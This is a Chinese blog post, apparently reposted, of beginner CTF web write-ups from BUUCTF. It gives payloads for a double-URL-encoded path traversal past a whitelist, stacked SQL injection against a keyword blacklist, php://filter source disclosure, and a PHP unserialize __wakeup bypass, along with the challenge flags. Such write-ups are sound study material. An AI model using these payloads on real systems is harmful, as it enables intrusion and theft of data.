热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

从零开始的CTFer成长之路–Web篇

本篇记录CTF中Web题WriteUp,适合入门新手但不适用于零基础,推荐使用右下角目录浏览2021-5-12[HCTF2018]WarmUp-出自BUUCTF打开页面发现有张图片

本篇记录CTF中Web题WriteUp,适合入门新手但不适用于零基础,推荐使用右下角目录浏览


2021-5-12


[HCTF 2018]WarmUp - 出自BUUCTF

打开页面发现有张图片 我们直接查看源码分析















可以看到存在页面: source.php 访问可以直接看到源代码 其中

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
)

定义了三个条件

1.不允许为空
2.必须为字符串
3.通过checkFile()函数校验

接下来分析checkFile()函数:

class emmm //定义emmm类
{
public static function checkFile(&$page) #//将传入的参数给$page
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"]; //声明变量$whitelist数组
if (! isset($page) || !is_string($page)) { //若$page值为空或者$page不是字符串
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) { //若$page值存在于$whitelist数组中
return true;
}
$_page = mb_substr( //截取$page字符串?前面的部分,若无则截取整段$page
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page); //url解码$page
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

$whitelist = ["source"=>"source.php","hint"=>"hint.php"] 定义了hint的参数只能为source.php或hint.php

我们在source.php后面跟上?file=hint.php 页面返回结果

flag not here, and flag in ffffllllaaaagggg

可以知道flag文件的文件名为ffffllllaaaagggg

其中 urldecode()对$page进行了解码后再次截取了?前的内容并且赋值给$_page

$_page = urldecode($page); //url解码$page
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);

我们可以通过这个函数绕过白名单检测,将?编码两次后的结果%253F作为参数拼接出payload

http://5bc874fd-f511-4f3f-91eb-6fac30058d51.node3.buuoj.cn/source.php?file=hint.php%253F../../../../../ffffllllaaaagggg

FLAG : flag{34643d71-22e7-4c62-bcd1-8245dc2e813a}




2021-5-21


[SUCTF 2019]EasySQL - 出自BUUCTF

我们首先进入页面 对注入点进行测试 输入数字页面回显数组



尝试输入字符串页面没有回显



输入注入语句页面返回Nonono.



尝试堆叠注入 构建语句查询数据库

1;show databases;



同理构建语句查询当前使用的库下的所有的表

1;show tables;



尝试使用show columns查看flag表内的数据

1;show columns from Flag;#

发现from被屏蔽了 页面返回Nonono.

多次尝试无果 在writeup内找到网页源代码

session_start();
include_once "config.php";
$post = array();
$get = array();
global $MysqlLink;
//GetPara();
$MysqlLink = mysqli_connect("localhost",$datauser,$datapass);
if(!$MysqlLink){
die("Mysql Connect Error!");
}
$selectDB = mysqli_select_db($MysqlLink,$dataName);
if(!$selectDB){
die("Choose Database Error!");
}
foreach ($_POST as $k=>$v){
if(!empty($v)&&is_string($v)){
$post[$k] = trim(addslashes($v));
}
}
foreach ($_GET as $k=>$v){
}
}
//die();
?>




Give me your flag, I will tell you if the flag is right.






if(isset($post['query'])){
$BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile
|readfile|where|from|union|update|delete|if|sleep|extractvalue|
updatexml|or|and|&|\"";
//var_dump(preg_match("/{$BlackList}/is",$post['query']));
if(preg_match("/{$BlackList}/is",$post['query'])){
//echo $post['query'];
die("Nonono.");
}
if(strlen($post['query'])>40){
die("Too long.");
}
$sql = "select ".$post['query']."||flag from Flag";
mysqli_multi_query($MysqlLink,$sql);
do{
if($res = mysqli_store_result($MysqlLink)){
while($row = mysqli_fetch_row($res)){
print_r($row);
}
}
}while(@mysqli_next_result($MysqlLink));
}

?>

我们找到注入点的语句

select ".$post['query']."||flag from Flag

语句会创建query传来参数的字段与结果一起查询





构建语句 查询表中所有结果 在网页中返回flag值

select *,1||flag from Flag



flag{d6a4e191-b241-44b2-8132-b4bbf9968a52}




[ACTF2020 新生赛]Include - 出自BUUCTF

打开页面点击tips看到URL对flag.php页面进行了包含



进行多次尝试包含上级目录的是否存在flag文件无果转换思路 通过php伪协议查看当前页面源码 构建语句

file=php://filter/read=convert.base64-encode/resource=flag.php

网页返回base64加密后的源码



解码后发现网页源代码内就存在flag

>>> import base64
>>> str ="PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7YTNmNGY0YjUtNTdkMy00ZDViLWEzMTQtMzQ1ZTIxODU1MmFhfQo="
>>> base64.b64decode(str)
b'>>>

flag{a3f4f4b5-57d3-4d5b-a314-345e218552aa}




2021-6-01


[极客大挑战 2019]PHP - 出自BUUCTF


知识点:PHP反序列化


我们首先打开页面看到提示存在备份文件,使用目录扫描工具扫描

得到压缩包www.zip 查看压缩包下存在三个页面



  • index.php - 主页



  • class.php - 主页包含页面



  • flag.php - 存在错误Flag的无用页面



在index.php看到源码

include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);

对页面class.php进行了包含 并且接受传入反序列化后的select参数

接下来分析class.php页面

class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "
NO!!!hacker!!!
";
echo "You name is: ";
echo $this->username;echo "
";
echo "You password is: ";
echo $this->password;echo "
";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "
hello my friend~~
sorry i can't give you the flag!";
die();

}
}
}

可以看到当传入参数username='admin'且password=100时,执行__destruct()方法将会得到Flag,所以我们构建序列化参数

class Name{
private $username = 'admin';
private $password = 100;
}
$a = new Name();
var_dump(serialize($a));

保存代码后执行 获得序列化后的数据

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

在传入参数前还需要注意__wakeup()魔法函数 在这顺便贴一下常见魔法函数:

__construct() 创建对象时调用
__destruct() 销毁对象时调用
__toString() 当一个对象被当作一个字符串使用
__sleep() 在对象在被序列化之前运行
__wakeup 将在序列化之后立即被调用

__wakeup()魔法函数实际上是可以跳过的,当反序列化字符串时,属性的个数大于实际属性个数时,例如:

O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
0 代表对象名
3 代表占三个字符
Name 类名
3 代表3个属性
s 数据类型string
Nameusername 类名+属性名

在传入数据之前我们还需要注意Name类中声明字段时,使用private声明的私有字段,*private修饰变量时为x00类名x00变量名 但是在构建脚本时x00会报错,所以用%00来填充,根据已有信息,构建payload获得Flag

[URL]?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

flag{8ed20c73-6cc3-4082-b5d2-121ec8c64f65}




原文链接:https://www.cnblogs.com/night7i/p/CtfWriteUp.html



推荐阅读
author-avatar
爱在明天2502870673
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有